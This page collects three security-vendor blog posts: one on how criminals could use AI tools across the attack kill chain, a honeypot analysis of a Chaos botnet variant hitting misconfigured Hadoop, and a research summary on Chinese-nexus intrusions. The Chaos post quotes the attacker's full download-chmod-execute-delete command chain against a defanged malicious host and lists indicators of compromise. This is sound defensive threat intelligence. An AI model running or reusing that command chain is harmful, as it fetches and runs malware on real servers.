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April 26, 2020

How Cyber-Criminals Leverage AI in Attacks

Cyber attacks are relentless and ever-evolving. Learn how cyber-criminals are using AI to augment their attacks at every stage of the kill chain.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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26
Apr 2020

Overview

The mind of an experienced and dedicated cyber-criminal works like that of an entrepreneur: the relentless pursuit of profit guides every move they make. At each step of the journey towards their objective, the same questions are asked: how can I minimize my time and resources? How can I mitigate against risk? What measures can I take which will return the best results?

Incorporating this ‘enterprise’ model into the cyber-criminal framework uncovers why attackers are turning to new technology in an attempt to maximize efficiency, and why a report from Forrester earlier this year revealed that 88% of security leaders now consider the nefarious use of AI in cyber activity to be inevitable. Over half of the responders to that same survey foresee AI attacks manifesting themselves to the public in the next twelve months – or think they are already occurring.

AI has already achieved breakthroughs in fields such as healthcare, facial recognition, voice assistance and many others. In the current cat-and-mouse game of cyber security, defenders have started to accept that augmenting their defenses with AI is necessary, with over 3,500 organizations using machine learning to protect their digital environments. But we have to be ready for the moment attackers themselves use open-source AI technology available today to supercharge their attacks.

Enhancing the attack life cycle

To a cyber-criminal ring, the benefits of leveraging AI in their attacks are at least four-fold:

  • It gives them an understanding of context
  • It helps to scale up operations
  • It makes attribution and detection harder
  • It ultimately increases their profitability

To best demonstrate how each of these factors surface themselves, we can break down the life cycle of a typical data exfiltration attempt, telling the story of how AI can augment the attacker during the campaign at every stage of the attack.

ReconnaissanceCAPTCHA breakerIntrusionShellphish and SNAP_RC2 establishmentFirstOrder and unsupervised clustering algorithmPrivilege escalationCeWL and neural networkLateral movementMITRE CALDERAMission accomplishedYahoo NSFW

Figure 1: The ‘AI toolbox’ attackers use to augment their attacks

Stage 1: Reconnaissance

In seeking to garner trust and make inroads into an organization, automated chatbots would first interact with employees via social media, leveraging profile pictures of non-existent people created by AI instead of re-using actual human photos. Once the chatbots have gained the trust of the victims at the target organization, the human attackers can gain valuable intelligence about its employees, while CAPTCHA-breakers are used for automated reconnaissance on the organization’s public-facing web pages.

Forrester estimates that AI-enabled ‘deep fakes’ will cost businesses a quarter of a billion dollars in losses in 2020.

Stage 2: Intrusion

This intelligence would then be used to craft convincing spear phishing attacks, whilst an adapted version of SNAP_R can be leveraged to create realistic tweets at scale – targeting several key employees. The tweets either trick the user into downloading malicious documents, or contain links to servers which facilitate exploit-kit attacks.

An autonomous vulnerability fuzzing engine based on Shellphish would be constantly crawling the victim’s perimeter – internet-facing servers and websites – and trying to find new vulnerabilities for an initial foothold.

Stage 3: Command and control

A popular hacking framework, Empire, allows attackers to ‘blend in’ with regular business operations, restricting command and control traffic to periods of peak activity. An agent using some form of automated decision-making engine for lateral movement might not even require command and control traffic to move laterally. Eliminating the need for command and control traffic drastically reduces the detection surface of existing malware.

Stage 4: Privilege escalation

At this stage, a password crawler like CeWL could collect target-specific keywords from internal websites and feed those keywords into a pre-trained neural network, essentially creating hundreds of realistic permutations of contextualized passwords at machine-speed. These can be automatically entered in period bursts so as to not alert the security team or trigger resets.

Stage 5: Lateral movement

Moving laterally and harvesting accounts and credentials involves identifying the optimal paths to accomplish the mission and minimize intrusion time. Parts of the attack planning can be accelerated by concepts such as from the CALDERA framework using automated planning AI methods. This would greatly reduce the time required to reach the final destination.

Stage 6: Data exfiltration

It is in this final stage where the role of offensive AI is most apparent. Instead of running a costly post-intrusion analysis operation and sifting through gigabytes of data, the attackers can leverage a neural network that pre-selects only relevant material for exfiltration. This neural network is pre-trained and therefore has a basic understanding of what valuable material constitutes and flags those for immediate exfiltration. The neural network could be based on something like Yahoo’s open-source project for content recognition.

Conclusion

Today’s attacks still require several humans behind the keyboard making guesses about the sorts of methods that will be most effective in their target network – it’s this human element that often allows defenders to neutralize attacks.

Offensive AI will make detecting and responding to attacks far more difficult. Open-source research and projects exist today which can be leveraged to augment every phase of the attack lifecycle. This means that the speed, scale, and contextualization of attacks will exponentially increase. Traditional security controls are already struggling to detect attacks that have never been seen before in the wild – be it malware without known signatures, new command and control domains, or individualized spear phishing emails. There is no chance that traditional tools will be able to cope with future attacks as this becomes the norm and easier to realize than ever before.

To stay ahead of this next wave of attacks, AI is becoming a necessary part of the defender’s stack, as no matter how well-trained or how well-staffed, humans alone will no longer be able to keep up. Hundreds of organizations are already using Autonomous Response to fight back against new strains of ransomware, insider threats, previously unknown techniques, tools and procedures, and many other threats. Cyber AI technology allows human responders to take stock and strategize from behind the front line. A new age in cyber defense is just beginning, and the effect of AI on this battleground is already proving fundamental.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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